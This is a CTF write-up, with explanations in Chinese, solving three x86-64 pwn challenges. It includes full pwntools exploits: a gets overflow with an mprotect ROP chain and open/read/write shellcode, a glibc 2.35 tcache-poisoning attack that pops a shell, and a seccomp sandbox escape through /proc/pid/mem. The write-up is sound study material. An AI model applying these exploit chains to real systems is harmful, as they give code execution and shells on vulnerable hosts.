pwn

devnull-as-a-service

description

A few months ago, I came across this website. Inspired by it, I decided to recreate the service in C to self-host it.
To avoid any exploitable vulnerabilities, I decided to use a very strict seccomp filter. Even if my code were vulnerable, good luck exploiting it.
PS: You can find the flag at /home/ctf/flag.txt on the remote server.

程序逻辑很简单,gets栈溢出,静态链接没有pie但是开启了seccomp

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  dev_null();
  return 0;
}
__int64 dev_null()
{
  char v1[8]; // [rsp+8h] [rbp-8h] BYREF

  puts("[/dev/null as a service] Send us anything, we won't do anything with it.");
  enable_seccomp();
  return gets(v1);
}

seccomp规则,可以使用openat代替open然后read wrtie将flag读出来

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x1c 0xc000003e  if (A != ARCH_X86_64) goto 0030
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x19 0xffffffff  if (A != 0xffffffff) goto 0030
 0005: 0x15 0x18 0x00 0x00000002  if (A == open) goto 0030
 0006: 0x15 0x17 0x00 0x00000003  if (A == close) goto 0030
 0007: 0x15 0x16 0x00 0x00000012  if (A == pwrite64) goto 0030
 0008: 0x15 0x15 0x00 0x00000014  if (A == writev) goto 0030
 0009: 0x15 0x14 0x00 0x00000016  if (A == pipe) goto 0030
 0010: 0x15 0x13 0x00 0x00000020  if (A == dup) goto 0030
 0011: 0x15 0x12 0x00 0x00000021  if (A == dup2) goto 0030
 0012: 0x15 0x11 0x00 0x00000028  if (A == sendfile) goto 0030
 0013: 0x15 0x10 0x00 0x00000029  if (A == socket) goto 0030
 0014: 0x15 0x0f 0x00 0x0000002c  if (A == sendto) goto 0030
 0015: 0x15 0x0e 0x00 0x0000002e  if (A == sendmsg) goto 0030
 0016: 0x15 0x0d 0x00 0x00000031  if (A == bind) goto 0030
 0017: 0x15 0x0c 0x00 0x00000038  if (A == clone) goto 0030
 0018: 0x15 0x0b 0x00 0x00000039  if (A == fork) goto 0030
 0019: 0x15 0x0a 0x00 0x0000003a  if (A == vfork) goto 0030
 0020: 0x15 0x09 0x00 0x0000003b  if (A == execve) goto 0030
 0021: 0x15 0x08 0x00 0x00000065  if (A == ptrace) goto 0030
 0022: 0x15 0x07 0x00 0x00000113  if (A == splice) goto 0030
 0023: 0x15 0x06 0x00 0x00000114  if (A == tee) goto 0030
 0024: 0x15 0x05 0x00 0x00000124  if (A == dup3) goto 0030
 0025: 0x15 0x04 0x00 0x00000125  if (A == pipe2) goto 0030
 0026: 0x15 0x03 0x00 0x00000128  if (A == pwritev) goto 0030
 0027: 0x15 0x02 0x00 0x00000137  if (A == process_vm_writev) goto 0030
 0028: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0030
 0029: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0030: 0x06 0x00 0x00 0x00000000  return KILL

但是程序中找不到syscall ;ret 这类gadget,需要连续三次系统调用,想了一下直接用mprotect将bss的权限改成r | w | x的,往里面写orw_assemble直接跳过去就好了

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "cbcff503-864f-49dc-9196-00d2958e5668.x3c.tf"
PORT = 31337

elf = context.binary = ELF('./dev_null')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

# p = process('./dev_null')
p = remote(IP, PORT, ssl=True)

pop_rax_ret = 0x000000000042193c
pop_rdi_ret = 0x0000000000413795
pop_rsi_rbp_ret = 0x0000000000402acc
pop_rdx = 0x000000000046ddce # 0x000000000046ddce : pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
bss = 0x4ae000

gets = 0x405A20
mprotect = 0x41AAF0
main = 0x401EA7

# mrpotect(bss,0x1000,7) r | w | x
payload = b'a' * 0x10
payload += p64(pop_rdx) + p64(0x7) + p64(0) + p64(0) + p64(0) + p64(0)
payload += p64(pop_rdi_ret) + p64(bss) + p64(pop_rsi_rbp_ret) + p64(0x2000) + p64(0)
payload += p64(mprotect) + p64(main)
sla("[/dev/null as a service]",payload)


# read orw_asm & jmp orw_asm
payload = b'a' * 0x10
payload += p64(pop_rdi_ret) + p64(bss + 0x100) + p64(gets) + p64(bss + 0x100 + 0x10)
sla("[/dev/null as a service]",payload)

payload = b'./flag.txt'
payload = payload.ljust(0x10,b'\x00')
payload += asm('''
mov eax,257
mov edi,0xffffff9c
mov esi,0x4ae100
xor edx,edx
syscall
mov eax,0
mov edi,3
mov esi,0x4ae000
mov edx,0x30
syscall
mov eax,1
mov edi,1
mov esi,0x4ae000
mov edx,0x30
syscall
''')
# g(p)
sl(payload)


p.interactive()

pwny-heap

description

ponys like the heap so i made pwny heap

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

glibc 2.35的堆,程序逻辑

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v4; // [rsp+0h] [rbp-10h] BYREF
  int v5; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  while ( 1 )
  {
    sub_1269();
    v4 = 0;
    printf("> ");
    __isoc99_scanf("%d", &v4);
    if ( v4 == 5 )
      return 0LL;
    if ( v4 > 5 )
      goto LABEL_15;
    if ( v4 == 1 )
    {
      sub_137D();
    }
    else if ( v4 <= 0 || (unsigned int)(v4 - 2) > 2 )
    {
LABEL_15:
      printf("invalid option...");
    }
    else
    {
      v5 = sub_12A7();
      if ( v4 == 2 )
      {
        sub_147A((char *)&unk_4060 + 24 * v5);
      }
      else if ( v4 == 3 )
      {
        sub_1283();
        sub_14A4((char *)&unk_4060 + 24 * v5);
      }
      else
      {
        sub_14D5((char *)&unk_4060 + 24 * v5);
      }
    }
  }
}
__int64 sub_12A7()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("index: ");
  __isoc99_scanf("%d", &v1);
  return v1;
}

int sub_1283()
{
  int result; // eax

  do
    result = getchar();
  while ( result != 10 && result != -1 );
  return result;
}

int sub_1283()
{
  int result; // eax

  do
    result = getchar();
  while ( result != 10 && result != -1 );
  return result;
}

_BYTE *sub_137D()
{
  _BYTE *result; // rax
  unsigned int v1; // [rsp+4h] [rbp-Ch]
  __int64 size; // [rsp+8h] [rbp-8h]

  v1 = sub_12A7();
  size = sub_1311();
  result = (_BYTE *)sub_1283();
  if ( v1 <= 0x13 && size )
  {
    if ( dword_4240 > 18 )
    {
      printf("ur bad, try again...");
      exit(0);
    }
    ++dword_4240;
    *((_QWORD *)&unk_4060 + 3 * (int)v1) = malloc(size);
    *((_QWORD *)&unk_4068 + 3 * (int)v1) = size;
    result = byte_4070;
    byte_4070[24 * v1] = 0;
  }
  return result;
}

__int64 __fastcall sub_147A(__int64 a1)
{
  __int64 result; // rax

  free(*(void **)a1);
  result = a1;
  *(_BYTE *)(a1 + 16) = 1;
  return result;
}

int __fastcall sub_14A4(const char **a1)
{
  return printf("here is some data for you buddy: %s", *a1);
}

int __fastcall sub_14D5(const char **a1)
{
  if ( *((_BYTE *)a1 + 16) == 1 )
  {
    puts("that won't work...");
    exit(0);
  }
  printf("write something in: ");
  sub_1283();
  fgets((char *)*a1, (int)a1[1], stdin);
  return printf("%s", *a1);
}

有uaf但是存在一个自定义的inuse标志位,在写数据的时候会检查这个标志位,可以通过ptmalloc分配策略绕过这个标志位的检查,在某某大小的bin为空的情况下,可以通过create(0,0x78) delete(0) create(1,0x78) 这个方法让chunklist中有两个相同的地址,但是标志位不同的堆块,之后就可以编辑free状态的堆块了.

放两个堆块进unsortedbin,一个用于泄露libc 一个用于泄露堆地址,拿到堆地址后就可以绕过safe link用tcache poison实现任意地址申请,首先泄露environ的地址拿到栈地址,然后申请到main函数栈帧覆盖main的返回地址 往里面写rop 最后 exit触发rop getshell

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "784b6860-8a10-42ee-b739-353dc844ff01.x3c.tf"
PORT = 31337
elf = context.binary = ELF('./pwny-heap')
libc = elf.libc

def connect():
    return remote(IP, PORT,ssl=True) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

p = connect()

def create(idx,size):
    sla(">","1")
    sla("index:",str(idx))
    sla("size:",str(size))

def delete(idx):
    sla(">","2")
    sla("index:",str(idx))

def show(idx):
    sla(">","3")
    sla("index:",str(idx))

def edit(idx,content):
    sla(">","4")
    sla("index:",str(idx))
    sa("write something in:",content)


create(0,0x508)
create(1,0x88)
create(2,0x508)
create(3,0x88)
delete(0)
delete(2)

show(0)
ru("here is some data for you buddy: ")
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x73d193e1ace0 - 0x73d193c00000)
log.info(f"libc_base: {hex(libc_base)}")

show(2)
ru("here is some data for you buddy: ")
heap_base = u64(r(6).ljust(8,b'\x00')) - (0x624da112c290 - 0x624da112c000)
log.info(f"heap_base: {hex(heap_base)}")

# reset
create(0,0x508)
create(2,0x508)

create(4,0x88)
delete(4)
create(5,0x88) # chunklist[4] == chunklist[5]
create(6,0x88)

# 5 -> 6
delete(6)
delete(4)

pos = heap_base + (0x5c2ff55adde0 - 0x5c2ff55ad000)
target = libc_base + libc.sym['__environ']
edit(5,p64((pos >> 12) ^ target) +b'\n') # tcache poisoning
create(4,0x88)
create(6,0x88) # environ
show(6)
ru("here is some data for you buddy: ")
stack = u64(r(6).ljust(8,b'\x00'))
log.info(f"stack: {hex(stack)}")

create(7,0x78)
delete(7)
create(8,0x78)
create(9,0x78)

delete(9)
delete(7)
pos = heap_base + (0x62bb4e2a1f00 - 0x62bb4e2a1000)
target = stack - (0x7fffb0f9d598 - 0x7fffb0f9d450 - 0x20) # main_return_address
edit(8,p64((pos >> 12) ^ target) + b'\n')
create(9,0x78)
create(7,0x78) # tcache poisoning

pop_rdi_ret = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x00000000000baaf9
payload = b'a' * 0x8 + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
payload = payload.ljust(0x77,b'a') + b'\n'
edit(7,payload)

sla(">","5")
p.interactive()

secure-sandbox

description

I love to make little games. But this time something seems to be different. If you win you might even get a flag…

no pie

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // edx
  int v5; // ecx
  int v6; // r8d
  int v7; // r9d
  int v9; // [rsp+Ch] [rbp-1014h]
  char v10[16]; // [rsp+10h] [rbp-1010h] BYREF
  unsigned __int64 v11; // [rsp+1018h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2LL, 0LL);
  setvbuf(stdout, 0LL, 2LL, 0LL);
  setvbuf(stderr, 0LL, 2LL, 0LL);
  title();
  v3 = getpid();
  printf((unsigned int)"\n[+] started hypervisor with pid: %d\n\n", v3, v4, v5, v6, v7);
  puts("Your shellcode:");
  v9 = read(0LL, v10, 4096LL);
  setup_sandbox((__int64)v10, v9);
  puts("thank you for trusting our product.");
  return 0;
}

unsigned __int64 __fastcall setup_sandbox(__int64 a1, int a2)
{
  int v2; // edx
  int v3; // ecx
  int v4; // r8d
  int v5; // r9d
  int v6; // edx
  int v7; // ecx
  int v8; // r8d
  int v9; // r9d
  int v11; // edx
  int v12; // ecx
  int v13; // r8d
  int v14; // r9d
  int v15; // [rsp+18h] [rbp-18h] BYREF
  unsigned int v16; // [rsp+1Ch] [rbp-14h]
  void (*v17)(void); // [rsp+20h] [rbp-10h]
  unsigned __int64 v18; // [rsp+28h] [rbp-8h]

  v18 = __readfsqword(0x28u);
  v16 = fork();
  if ( (int)v16 <= 0 )
  {
    printf((unsigned int)"[+] sandbox: executing shellcode with length: %d...\n", a2, v2, v3, v4, v5);
    v17 = (void (*)(void))mmap64(0LL);
    if ( v17 == (void (*)(void))-1LL )
    {
      puts("mmap failed.");
      exit(1LL);
    }
    printf((unsigned int)"[+] sandbox: shellcode page: %p\n", (_DWORD)v17, v11, v12, v13, v14);
    j_memcpy(v17, a1, a2);
    setup_seccomp();
    v17();
    exit(0LL);
  }
  printf((unsigned int)"[+] hypervisor: started sandbox with pid: %d\n", v16, v2, v3, v4, v5);
  puts("[*] hypervisor: waiting for sandbox to terminate...");
  waitpid(v16, &v15, 0LL);
  printf((unsigned int)"[+] hypervisor: sandbox finished with status code: %d\n", BYTE1(v15), v6, v7, v8, v9);
  return v18 - __readfsqword(0x28u);
}

子进程中设置了seccomp bpf并且可以执行shellcode,bpf规则是

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
 0005: 0x15 0x06 0x00 0x00000001  if (A == write) goto 0012
 0006: 0x15 0x05 0x00 0x00000002  if (A == open) goto 0012
 0007: 0x15 0x04 0x00 0x00000003  if (A == close) goto 0012
 0008: 0x15 0x03 0x00 0x00000008  if (A == lseek) goto 0012
 0009: 0x15 0x02 0x00 0x00000014  if (A == writev) goto 0012
 0010: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0012
 0011: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

可以发现orw差个r,但有lseek系统调用且程序没有pie,seccomp的规则只在子进程中生效,可以利用linux映射到文件系统奇奇怪怪的接口,如open proc/pid/mem配合lseek去读写父进程中的内存,因为是在内核态进行的,所以text段 rdata这些用户态看来没有写权限的段也可以写,利用writev在waitpid地址后写shellcode

.text:0000000000401C8A E8 F1 77 04 00                call    waitpid
.text:0000000000401C8A
.text:0000000000401C8F 8B 45 E8                      mov     eax, [rbp+var_18]
.text:0000000000401C92 C1 F8 08                      sar     eax, 8
.text:0000000000401C95 0F B6 C0                      movzx   eax, al
.text:0000000000401C98 89 C6                         mov     esi, eax
.text:0000000000401C9A 48 8D 05 9F 39 09 00          lea     rax, aHypervisorSand            ; "[+] hypervisor: sandbox finished with s"...
.text:0000000000401CA1 48 89 C7                      mov     rdi, rax
.text:0000000000401CA4 B8 00 00 00 00                mov     eax, 0
.text:0000000000401CA9 E8 32 97 01 00                call    printf
.text:0000000000401CA9
.text:0000000000401CAE 90                            nop
.text:0000000000401CAF 48 8B 45 F8                   mov     rax, [rbp+var_8]
.text:0000000000401CB3 64 48 2B 04 25 28 00 00 00    sub     rax, fs:28h
.text:0000000000401CBC 0F 84 BD 00 00 00             jz      locret_401D7F
.text:0000000000401CBC
.text:0000000000401CC2 E9 B3 00 00 00                jmp     loc_401D7A

writev需要构造一个iovec的结构体,shellcode的构造可以低地址写字符串,结构体以及shellcode,高地址写open lseek writev的系统调用,之间用相对偏移跳转链接

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "ce563048-c0fe-408f-90f4-6f35fa1de3f5.x3c.tf"
PORT = 31337
elf = context.binary = ELF('./chall')
libc = elf.libc

def connect():
    return remote(IP, PORT,ssl=True) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

p = connect()

ru("[+] started hypervisor with pid: ")
pid = int(rl())
log.info(f"pid: {pid}")

shellcode = asm('''
    lea r15,[rip]
    and r15,0xffffffffffffff00
''')
shellcode = shellcode.ljust(0x10,b'\x90')
shellcode += asm('''
    jmp $+0xf0
''')
shellcode = shellcode.ljust(0x20,b'\x90')
shellcode += b'/proc/'+str(pid).encode()+b'/mem\x00' # r15 + 0x20
shellcode = shellcode.ljust(0x30,b'\x90')

# struct iovec {
#     void  *iov_base;
#     size_t iov_len;
# };
shellcode += p64(0x114514) + p64(0x40) # r15 + 0x30
shellcode = shellcode.ljust(0x40,b'\x90') # r15 + 0x40
shellcode += asm('''
    mov rax,0x68732f6e69622f
    push rax
    push rsp
    pop rdi
    push 0x3b
    pop rax
    xor esi, esi
    xor edx, edx
    syscall
''')
shellcode = shellcode.ljust(0x100,b'\x90')

shellcode += asm('''
    mov rax,2
    mov rdi,r15
    add rdi,0x20
    mov rsi,2
    syscall
    
    mov r14,r15
    add r14,0x40
    mov [r15 + 0x30],r14
    
    mov rax,8
    mov rdi,3
    mov rsi,0x401C8F
    mov rdx,0
    syscall

    mov rax,20
    mov rdi,3
    mov rsi,r15
    add rsi,0x30
    mov rdx,1
    syscall

    mov rax,60
    xor rdi,rdi
    syscall
''')

# gdb_comm = "b *0x401D6E"
# gdb.attach(p,gdb_comm)

sla("Your shellcode:",shellcode)


p.interactive()
⬆︎TOP